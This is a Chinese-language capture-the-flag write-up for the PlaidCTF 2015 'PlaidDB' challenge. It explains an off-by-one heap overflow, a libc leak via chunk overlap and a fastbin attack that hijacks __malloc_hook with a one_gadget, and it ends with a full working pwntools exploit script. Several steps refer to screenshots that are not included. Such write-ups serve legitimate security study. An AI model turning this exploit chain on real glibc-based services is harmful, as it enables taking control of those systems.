【plaidctf 2015】PlaidDB
收获
- 利用 off-by-one 漏洞造成 Chunk Overlap,通过对堆的布局利用
unsorted bin
修改已有chunk
内容为bk
指针,泄露 libc 地址,并利用 fast bin attack,错位伪造chunk
,劫持__malloc_hook
为 one_gadget 来 getshell
思路
本地环境:Glibc 2.23
查看保护,64 位保护全开:
尝试运行:
IDA 下分析:
程序最开始会初始化三个堆,经过后面的分析可以知道,第一个堆存放的是结构体,主要使用了二叉树的结构来存储数据:
struct Node {
char *key;
long data_size;
char *data;
struct Node *left;
struct Node *right;
long dummy;
long dummy1;
}
不过关于树的结构我没太看懂。。。网上说是红黑树?我只知道前三个指针,但是二叉树各节点之间的关系是怎么来的不太明白
其初始化 row_key
为 th3fl4g
,初始化 data
为 youwish
程序运行时 PROMPT: Enter command:
是在 sub_1A20()
函数中定义的,有 GET
、PUT
、DUMP
、DEL
、EXIT
这几种命令:
GET
功能:
首先通过 sub_1040()
函数读取 row_key
:
首先 malloc(8)
来存放 row_key
,如果空间大小不够,再 realloc()
仔细观察可以发现
sub_1040()
函数这个输入存在 off-by-null 漏洞,如果将数据写满,该函数会溢出 1 字节,并将其置为 NULL
PUT
功能:
主要是输入一些数据,首先 malloc(0x38)
申请了一个堆块用于存放结构体
同样使用了 sub_1040()
函数来读取 row_key
,并申请了第二个堆块,指针存放在 *v0
然后 malloc(v1)
申请了第三个堆块,读入 size
大小的数据 data
通过调试来验证一下,执行 PUT(1, 2, b'a')
:
DEL
功能:
这个函数实现的是删除功能,由于是二叉树结构,这个函数比较复杂,只需要知道是按照 row_key
来进行删除的就行,row_key
通过 sub_1040()
函数读取,依然是存在 off-by-one 漏洞的
现在根据以上分析,结合程序运行,可以大致知道该程序的功能了:
PUT
插入数据,包括row_key
、data_size
、data
GET
打印row_key
对应的data
DUMP
打印所有row_key
DEL
删除row_key
对应的数据
虽然输入 row_key
时存在 off-by-one 漏洞,但特殊在于,其使用了 realloc()
使分配的大小通过可用空间大小乘二的方式增大
也就是说想要触发这个漏洞,对于分配的大小有要求,满足该要求的大小有:0x18
、0x38
、0x78
、0xf8
、0x1f8
等
通过 off-by-one 漏洞溢出后,可以造成 Chunk Overlap,并泄露 libc 地址,且可以形成 UAF,对于 UAF 漏洞首选 fast bin attack 的方法
我们首先需要有一个处于释放状态的 unsorted bin chunk
或者 small bin chunk
,然后在其下方还需要一个进行溢出的 chunk
和被溢出的 chunk
然后利用 off-by-one 漏洞,使它们全都被合并为一个处于释放状态的 chunk
,这样中间任意 chunk
的位置如果是已被分配的,就可以造成 Chunk Overlap
大致结构如下:
+------------+
| | <-- free 的 unsorted bin 或是 small bin chunk (因为此时 fd 和 bk 指向合法指针,才能够进行 unlink)
+------------+
| ... | <-- 任意 chunk
+------------+
| | <-- 进行溢出的 chunk
+------------+
| vuln | <-- 被溢出的 chunk,大小为 0x_00 (例如 0x100, 0x200……)
+------------+
结合 sub_1040()
函数通过 malloc(8)
再 realloc()
的分配方式,对于堆的布局有以下要求:
- 任意
chunk
位置至少有一个已经被分配、且可以读出数据的chunk
来泄露libc
地址 - 任意
chunk
位置至少还需要有一个已经被释放、且size
为0x71
的chunk
来进行fast bin attack
- 进行溢出的
chunk
需要在最上方的chunk
之前被分配,否则malloc(8)
的时候会分配到最上方,而不是进行溢出chunk
所在的下方的位置 - 进行溢出的
chunk
大小应该属于unsorted bin
或是small bin
,不能为fast bin
,否则被释放之后,按照sub_1040()
函数的分配方式,malloc(8)
无法分配在该位置 - 最下方应该有一个已经被分配的
chunk
来防止与top chunk
合并
按照上述要求,完整的堆结构应该如下:
+------------------+
| chunk 1 | <-- free 的 size == 0x200 chunk
+------------------+
| chunk 2 | <-- size == 0x60 fastbin chunk,已被分配,且可以读出数据
+------------------+
| chunk 3 | <-- size == 0x71 fastbin chunk,为 fastbin attack 做准备
+------------------+
| chunk 4 | <-- size == 0x1f8 free 状态的 small bin/unsorted bin chunk
+------------------+
| chunk 5 | <-- size == 0x101 被溢出 chunk
+------------------+
| X | <-- 任意分配后 chunk 防止 top chunk 合并
+------------------+
由于分配过程中还存在一些额外结构,包括结构体本身的分配和 sub_1040()
函数,因此需要先释放出足够的 fast bin chunk
来避免结构体本身的分配对我们布置的对结构造成影响
这里通过先执行 10 次 PUT()
和 10 次 DEL()
来实现:
构造好我们需要的堆块后,分别 free
掉 chunk 3
、chunk 4
和 chunk 1
DEL(b'3')
:
DEL(b'4')
:
DEL(b'1')
:
这样就形成了我们所需要的堆结构
然后利用 DEL()
中 sub_1040()
函数读取 row_key
时的 off-by-one 漏洞,将 chunk 4
写满,并溢出覆盖 chunk 5
的 prev_size
域:
这里覆盖的是 0x4e0
,因为我们为了造成 Chunk Overlap,需要让这些 chunk
全部被合并为一个处于释放状态的 chunk
因此 chunk 5
的 prev_size
域需要修改为前几个 chunk
的大小之和,即:0x4e0 = 0x200 + 0x50 + 0x68 + 0x1f8 + 0x30
然后 free
掉 chunk 5
,这些 chunk
将会被合并成一个 unsorted bin
:
由于此时还存在一个 0x360
的 small bin
:
为了防止干扰,需要先通过 PUT(b'0x200', 0x200, b'fillup')
将其分配掉:
此时合并的 chunk
被置于 large bin
:
为了泄露 libc 基地址,我们可以利用
unsorted bin
的特性,打印其bk
指针首先,我们需要利用此时
chunk 2
与合并的chunk
重叠的特点,利用unsorted bin
来修改chunk 2
的指针
因此,我们先通过 PUT(b'0x200 fillup', 0x200, b'fillup again')
从 large bin
中将之前的 chunk 1
的空间分配掉:
此时 chunk 2
处于 unsorted bin
的第一个位置,其指针已被 unsorted bin
修改
于是我们只需 GET(b'2')
就可以在 data_size
输出的位置输出 bk
指针:
bk
指针指向 main_arena + 88
的位置,根据 main_arena
与 __malloc_hook
存在固定偏移 0x10
,利用 __malloc_hook
在 libc 中的偏移即可得到 libc 基地址:
由于前面我们已经释放了 chunk 1
、chunk 3
、chunk 4
,只剩 chunk 2
和 chunk 5
可以利用了,此时 unsorted bin
距离 chunk 5
正好 0x5586e425b950 - 0x5586e425b900 = 0x50
于是填充 0x58
就可以修改 chunk 5
的 size
域和 fd
,即可控制下一个 fast bin
的位置
然后进行 fast bin attack:
劫持 __malloc_hook
为 one_gadget:
这样看得更清楚:
最后执行一次 DEL()
利用 sub_1040()
函数中的 malloc(8)
触发 one_gadget 即可获得 shell
脚本
from pwn import *
# 设置系统架构, 打印调试信息
# arch 可选 : i386 / amd64 / arm / mips
context(os='linux', arch='amd64', log_level='debug')
# PWN 远程 : content = 0, PWN 本地 : content = 1
content = 1
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') # ubuntu 16.04 Glibc 2.23
if content == 1:
# 将本地的 Linux 程序启动为进程 io
io = process('./datastore')
# 附加 gdb 调试
def debug(cmd=""):
if content == 1: # 只有本地才可调试,远程无法调试
gdb.attach(io, cmd)
pause()
def PUT(row_key, size, data):
io.sendlineafter('command:\n', b'PUT')
io.sendlineafter('key:\n', row_key)
io.sendlineafter('size:\n', str(size))
if len(data) < size:
data = data.ljust(size, b'\x00')
io.sendafter('data:\n', data)
def DEL(row_key):
io.sendlineafter('command:\n', 'DEL')
io.sendlineafter('key:\n', row_key)
def GET(row_key):
io.sendlineafter('command:\n', 'GET')
io.sendlineafter('key:\n', row_key)
io.recvuntil('[')
num = int(io.recvuntil(b' bytes', drop=b' bytes'))
io.recvuntil(':\n')
return io.recv(num)
# 相关函数实现的时候用到了一些 0x38 大小的块,避免影响我们提前搞一些
for i in range(10):
PUT(str(i).encode(), 0x38, str(i).encode())
for i in range(10):
DEL(str(i).encode())
PUT(b'1', 0x200, b'1') # 设置的大一些,后面分配的时候会优先将其分配出去,但分配的过大就不会物理相连了,实测绕不开后面的问题
PUT(b'2', 0x50, b'2') # 用来都 libc 的已分配块,表面上未分配,大小符合 fast bin 即可,暂未验证
PUT(b'3', 0x68, b'3') # 用来进行 fast bin attack 的块,大小应该符合 fast bin 即可,暂未验证
PUT(b'4', 0x1f8, b'4') # 用来溢出的块,溢出到下一个块的 pre_size 把他修改成上面全部块大小的和
PUT(b'5', 0xf0, b'5') # 用来被溢出的块
PUT(b'defense', 0x400, b'defense-top chunk') # 用来防止被 top chunk 合并
DEL(b'3')
DEL(b'4')
DEL(b'1')
DEL(b'a' * 0x1f0 + p64(0x4e0)) # 溢出,0x4e0 = 0x200 + 0x50 + 0x68 + 0x1f8 + 0x30 (这是没有被使用的指针部分大小,三个)
DEL(b'5') # 合并 1 2 5 3 4 块
PUT(b'0x200', 0x200, b'fillup') # 这里是在 defense 块分配后导致清理碎片清理,多出来一个 0x360 的 small bin 要先把他分配掉
PUT(b'0x200 fillup', 0x200, b'fillup again') # 把 1 分配掉,这样 2 就是第一个块了,可以打印相关地址,泄漏 libc 基地址
libc_leak = u64(GET('2')[:6].ljust(8, b'\x00'))
log.success('libc_leak: ' + hex(libc_leak))
__malloc_hook_addr = libc_leak - 88 - 0x10
libc_base = __malloc_hook_addr - libc.symbols['__malloc_hook']
log.success('libc_base: ' + hex(libc_base))
# 这些块物理相连,a*58 之后正好是 5 块的 size 和 fd,修改即可控制下一个 fast bin 的位置
# -0x10 是为了留出指针空间,-3 是为了把指针所指的 __malloc_hook 处的 7f 地址提前,当成 pre_size 相关内容,否则 fake_fast bin 格式不符合要求
# debug()
PUT(b'fastatk', 0x100, b'a' * 0x58 + p64(0x71) + p64(__malloc_hook_addr - 0x10 + 5 - 8))
PUT(b'prepare', 0x68, b'prepare data')
one_gadget = libc_base + 0x4527a # 0x45226 0x4527a 0xf03a4 0xf1247
PUT(b'attack', 0x68, b'a' * 3 + p64(one_gadget))
io.sendline(b'DEL') # malloc(8) 出发 one_gadget
io.interactive()